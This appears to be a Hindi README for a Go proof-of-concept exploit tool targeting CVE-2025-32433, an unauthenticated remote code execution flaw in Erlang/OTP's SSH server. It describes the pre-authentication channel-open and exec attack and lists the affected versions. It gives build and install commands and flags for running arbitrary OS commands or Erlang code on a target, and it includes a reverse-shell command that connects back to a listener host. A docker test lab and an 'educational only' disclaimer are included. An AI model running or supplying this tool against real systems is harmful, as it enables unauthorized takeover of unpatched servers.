
CVE-2025-32433 के लिए Go PoC — Erlang/OTP SSH में अप्रमाणित RCE।
CVE-2025-32433 Erlang/OTP के SSH सर्वर में एक गंभीर बिना प्रमाणीकरण वाली रिमोट कोड निष्पादन कमजोरी है। पैच किए गए संस्करणों से पहले, SSH डेमॉन प्रमाणीकरण पूरा होने से पहले ही चैनल संदेशों को गलत तरीके से संसाधित करता है, जिससे हमलावर बिना क्रेडेंशियल दिए एक चैनल खोल सकता है और exec अनुरोध भेज सकता है। Erlang/OTP के SSH सर्वर का उपयोग करने वाला कोई भी एप्लिकेशन (Elixir, RabbitMQ, CouchDB और अन्य सहित) प्रभावित होता है जब SSH पोर्ट खुला होता है।
यह Go PoC लक्ष्य SSH पोर्ट से जुड़ता है, प्रमाणीकरण से पहले ही एक निर्मित SSH_MSG_CHANNEL_OPEN और फिर SSH_MSG_CHANNEL_REQUEST exec पेलोड भेजता है, जिससे रिमोट Erlang नोड मनमाना OS कमांड निष्पादित करता है। निष्पादन ब्लाइंड है: कोई कमांड आउटपुट हमलावर को वापस नहीं आता।
प्रभावित संस्करण: Erlang/OTP < 27.3.3, < 26.2.5.11, < 25.3.2.20
bash -c के माध्यम से OS कमांड चलाएँ, Erlang के os:cmd में स्वचालित रूप से लपेटा जाता है/dev/tcp पर निर्भर हुए बिना एक मूल gen_tcp रिवर्स शेल तैनात करेंmacOS, Linux, और Windows के लिए पूर्व-निर्मित बाइनरी Releases पृष्ठ पर उपलब्ध हैं। अपने प्लेटफ़ॉर्म के लिए बाइनरी डाउनलोड करें और सीधे चलाएँ — Go स्थापित करने की आवश्यकता नहीं है।
या स्रोत से निर्माण करें:
[!नोट] Go 1.21+ आवश्यक है। कोई बाहरी निर्भरता नहीं — केवल Go मानक पुस्तकालय का उपयोग करता है।
git clone https://github.com/joshuavanderpoll/CVE-2025-32433.git
cd CVE-2025-32433
go build -o cve-2025-32433 cve-2025-32433.go
git clone https://github.com/joshuavanderpoll/CVE-2025-32433.git
cd CVE-2025-32433
go build -o cve-2025-32433.exe cve-2025-32433.go
go install github.com/joshuavanderpoll/cve-2025-32433@latest
go run github.com/joshuavanderpoll/cve-2025-32433@latest -host 192.168.1.100 -port 22
Usage of ./cve-2025-32433:
-host string
Target IP or hostname
-port int
SSH port (default: 22) (default 22)
-timeout int
Connection timeout in seconds (default: 5) (default 5)
-command string
Shell command to run on the target (wrapped in os:cmd)
-code string
Raw Erlang expression to execute on the target
-shell
Send an Erlang-native gen_tcp reverse shell
-lhost string
Listener IP for reverse shell (required with -shell)
-lport int
Listener port for reverse shell (default: 4444)
./cve-2025-32433 -host 127.0.0.1 -port 2222

./cve-2025-32433 -host 127.0.0.1 -port 2222 -command 'whoami > /tmp/out2.txt'

-shell फ़्लैग एक मूल Erlang gen_tcp रिवर्स शेल पेलोड भेजता है — किसी bash या /dev/tcp की आवश्यकता नहीं। पहले एक सुनने वाला शुरू करें, फिर शोषण भेजें।
./cve-2025-32433 -host 127.0.0.1 -port 2222 -shell -lhost host.docker.internal -lport 4444

-code फ़्लैग बिना bash -c रैपर के सीधे एक रॉ Erlang अभिव्यक्ति भेजता है। शुद्ध Erlang ऑप्स के लिए या जब लक्ष्य पर bash उपलब्ध न हो, उपयोगी। चूँकि निष्पादन ब्लाइंड है, आउटपुट को एक फ़ाइल में लिखें और अलग से पुनः प्राप्त करें।
./cve-2025-32433 -host 127.0.0.1 -port 2222 -code 'file:write_file("/tmp/out.txt", os:cmd("id")).'

अधिक विवरण docker/DOCKER.md पर
cd docker/
docker compose down
docker compose up -d
# You can test at -host 127.0.0.1 -port 2222
यह उपकरण केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। निर्माता उपकरण द्वारा होने वाले किसी भी दुरुपयोग या क्षति के लिए कोई जिम्मेदारी नहीं लेता है।